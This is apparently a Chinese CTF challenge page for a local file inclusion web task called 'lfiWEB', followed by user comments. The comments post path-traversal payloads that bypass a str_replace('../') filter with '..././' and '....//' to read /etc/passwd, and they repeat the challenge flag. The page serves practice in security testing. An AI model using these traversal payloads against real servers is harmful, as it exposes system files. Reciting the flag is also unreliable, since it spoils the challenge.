lfiWEB 未解决

分数: 0 金币: 0
题目作者: 未知
一　　血: tzzzez
一血奖励: 0金币
解　　决: 1110
提　　示:
描　　述:
We made some serious checks now, would you test it ?
...
登录回复
评论
1005667204 7月前
举报

使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd

回复 0
18993258097 7月前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 0
菜鸡的小韩 7月前
举报

这是一个基本的绕过，因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格，所以要进行一个绕过，用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可

回复 0
ABC第一深情 8月前
举报

/?language=/etc/passwd

回复 3
曦羽unT0x1ns 9月前
举报

直接用file:///etc/passwd居然也行 oAo

回复 0
13657809271 3月前
举报

我这样怎么不行

回复 0
XHTX 9月前
举报

?language=/languages//..//..//..//....//etc/passwd shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 就是这个样子

回复 0
868954104 11月前
举报

?language=/languages/....//....//....//....//etc/passwd

回复 0
868954104 11月前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 1
yituoshi 1年前
举报

Half the truth is often a big lie: Look Here !!! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nol

回复 0
hh0100 1年前
举报

?language=./languages/....//....//....//....//etc/passwd,加这个成功了，谁能讲讲为啥

回复 0
hack111 1年前
举报

双写，../被屏蔽了然后还会存在一个../

回复 0

WriteUp

image
a2cai

2 金币

立即查看

评分(0)

暂无评分

解题动态

Jeffers0n 攻破了该题 8小时前
Righte0us 攻破了该题 2天前
3+2 攻破了该题 2天前
zhuce 攻破了该题 4天前
小坑西1 攻破了该题 5天前
Szupop1 攻破了该题 5天前
ifnoif 攻破了该题 6天前
18487205171 攻破了该题 6天前
Waitcat 攻破了该题 8天前
jikechen 攻破了该题 8天前
dabing 攻破了该题 8天前
xinxiner 攻破了该题 8天前
半个西瓜 攻破了该题 8天前
root678 攻破了该题 9天前
chenyuuu 攻破了该题 10天前
wd294175149 攻破了该题 10天前
fifteen 攻破了该题 10天前
tz001 攻破了该题 11天前
sdsdh007 攻破了该题 11天前
zachary 攻破了该题 12天前
问题反馈